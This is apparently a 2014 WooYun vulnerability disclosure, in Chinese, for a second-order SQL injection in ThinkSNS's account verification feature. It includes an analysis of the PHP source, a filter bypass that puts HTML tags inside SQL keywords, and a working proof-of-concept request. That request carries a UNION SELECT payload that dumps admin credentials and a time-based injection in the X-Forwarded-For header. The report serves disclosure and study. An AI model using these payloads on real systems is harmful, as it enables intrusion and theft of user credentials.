当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079805

漏洞标题:ThinkSNS某处二次注入Bypass防御获取任意数据

相关厂商:ThinkSNS

漏洞作者: xfkxfk

提交时间:2014-10-18 08:09

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-18: 细节已通知厂商并且等待厂商处理中
2014-10-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-12-17: 细节向核心白帽子及相关领域专家公开
2014-12-27: 细节向普通白帽子公开
2015-01-06: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

ThinkSNS某处二次注入Bypass防御获取任意数据

详细说明:

第一部分:漏洞分析
文件/apps/public/Lib/Action/AccountAction.class.php

/**
* 提交申请认证
* @return void
*/
public function doAuthenticate(){
$verifyInfo = D('user_verified')->where('uid='.$this->mid)->find();
$data['usergroup_id'] = intval($_POST['usergroup_id']);
if(!$data['usergroup_id']) $data['usergroup_id'] = 5;
$data['company'] = t($_POST['company']);
$data['realname'] = t($_POST['realname']);
$data['idcard'] = t($_POST['idcard']);
$data['phone'] = t($_POST['phone']);
$data['reason'] = t($_POST['reason']);
//$data['info'] = t($_POST['info']);
$data['attach_id'] = t($_POST['attach_ids']);//attach_ids通过t函数过滤
if(D('user_verified_category')->where('pid='.$data['usergroup_id'])->find()){
$data['user_verified_category_id'] = intval($_POST['verifiedCategory']);
}else{
$data['user_verified_category_id'] = 0;
}
$Regx1 = '/^[0-9]*$/';
$Regx2 = '/^[A-Za-z0-9]*$/';
$Regx3 = '/^[A-Za-z|\x{4e00}-\x{9fa5}]+$/u';
......
preg_match_all('/./us', $data['reason'], $matchs); //一个汉字也为一个字符
if(count($matchs[0])>140){
//$this->error('认证理由不能超过140个字符');
echo '认证理由不能超过140个字符';exit;
}
// preg_match_all('/./us', $data['info'], $match); //一个汉字也为一个字符
// if(count($match[0])>140){
// $this->error('认证资料不能超过140个字符');
// }
if($verifyInfo){
$data['verified'] = 0;
$res = D('user_verified')->where('uid='.$verifyInfo['uid'])->save($data);//data数据进入数据库
}else{
$data['uid'] = $this->mid;
$res = D('user_verified')->add($data);
}
if($res){
//echo '1';
model('Notify')->sendNotify($this->mid,'public_account_doAuthenticate');
$touid = D('user_group_link')->where('user_group_id=1')->field('uid')->findAll();
foreach($touid as $k=>$v){
model('Notify')->sendNotify($v['uid'], 'verify_audit');
}
//return $this->ajaxReturn(null, '申请成功,请等待审核', 1);
echo '1';
}else{
//$this->error("申请失败");
echo '申请失败';exit;
}
}


此时attach_ids已经进入数据库了
下面来看看出库的地方

/**
* 申请认证
* @return void
*/
public function authenticate(){
$auType = model('UserGroup')->where('is_authenticate=1')->findall();
$this->assign('auType', $auType);
$verifyInfo = D('user_verified')->where('uid='.$this->mid)->find();
if($verifyInfo['attach_id']){
$a = explode('|', $verifyInfo['attach_id']);
foreach($a as $key=>$val){
if($val !== "") {
$attachInfo = D('attach')->where("attach_id=$a[$key]")->find();//attach_id在这里进入数据库
$verifyInfo['attachment'] .= $attachInfo['name'].'&nbsp;<a href="'.getImageUrl($attachInfo['save_path'].$attachInfo['save_name']).'" target="_blank">下载</a><br />';
}
}
}


可以看到,取出attach_id后,通过|分割,然后再次计入了数据库
这里没有引号保护,导致sql注入
所以只要我们在attach_id插入恶意数据即可二次触发
第二部分:bypass绕过分析
来看看t函数是否能绕过
/core/OpenSociax/functions.inc.php

/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}


这里有一个real_strip_tags函数来看看

function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
return strip_tags($str, $allowable_tags);
}


这里将html过滤掉了
综上,当恶意sql语句进入t时,首先将html标签过滤,然后进入addslashes
那么我们在sql关键字中插入html标签即可绕过全局防御了
如select=se<a>lect,这样绕过了全局,最后又变成了select,成功绕过

漏洞证明:

1、前台登陆,在个人信息处,申请认证

http://localhost/thinksns/index.php?app=public&mod=Account&act=Authenticate


2、然后提交时,抓包,将attach_ids修改为:

attach_ids=%7C76%7C-1 un<a>ion se<a>lect 1,2,3,4,5,6,7,(se<a>lect co<a>ncat(login,0x23,password) fr<a>om ts_user li<a>mit 1),9,10,11,12,13,14,15,16,17,18,19,20#%7C


请求如下:

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/thinksns/index.php?app=public&mod=Account&act=authenticate
Content-Length: 156
Cookie: CNZZDATA80862620=cnzz_eid%3D1277534265-1407229558-%26ntime%3D1411435759; bdshare_firstime=1407229707189; pgv_pvi=3674949632; cuz_auth=W25fXgRlUGYBbgdpB28EYFoyAmVSDgJnAg0CZgNjUT5VYQo7VzZXNFBmU2UBYQVhAj5SNFRiUTVXMAFkCGhUYFtpX2cENlBgATMHYgczBDVaNwIyUjcCYwI0Al8DMQ; cuz_userid=1; cuz_username=admin123; cej_username=admin123; cej_auth=fhtuNEBwVjcReA5jMQgdKnEVeklmPnVMWFpWYGMOA2RgBAJoVGReahoqJxI7Cg45R3dCcAw%2BX2dmDHVCVzooFH4cbg1AI1YxESUOaDFUHX9xEHoeZgd1SFhjVlljXA; cej_userid=1; PHPSESSID=2b74f139fdd6ec4d629fc2bce0a85e95; CNZZDATA1702264=cnzz_eid%3D2084647819-1413523648-http%253A%252F%252Flocalhost%252F%26ntime%3D1413523648; T3_online_update=1413552570; T3_TSV3_LOGGED_USER=fb8DZUmtTTQ17neIIPi6M7u8bJccMAEj
X-Forwarded-For: 127.0.0.1',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))#
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
usergroup_id=&company=&realname=%E5%95%8A%E5%95%8A%E5%95%8A&idcard=111111111111111111&phone=13111111111&reason=111111&verifiedCategory=1&attach_ids=%7C76%7C-1 un<a>ion se<a>lect 1,2,3,4,5,6,7,(se<a>lect co<a>ncat(login,0x23,password) fr<a>om ts_user li<a>mit 1),9,10,11,12,13,14,15,16,17,18,19,20#%7C


3、然后回到第1步:
访问

http://localhost/thinksns/index.php?app=public&mod=Account&act=Authenticate


此时在认证附件处显示管理员账户信息:

111111.png


当然如果条件满足的话直接GetShell也是ok的

修复方案:

1、where后面的条件为嘛不加保护咧?
2、防御逻辑出错了

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无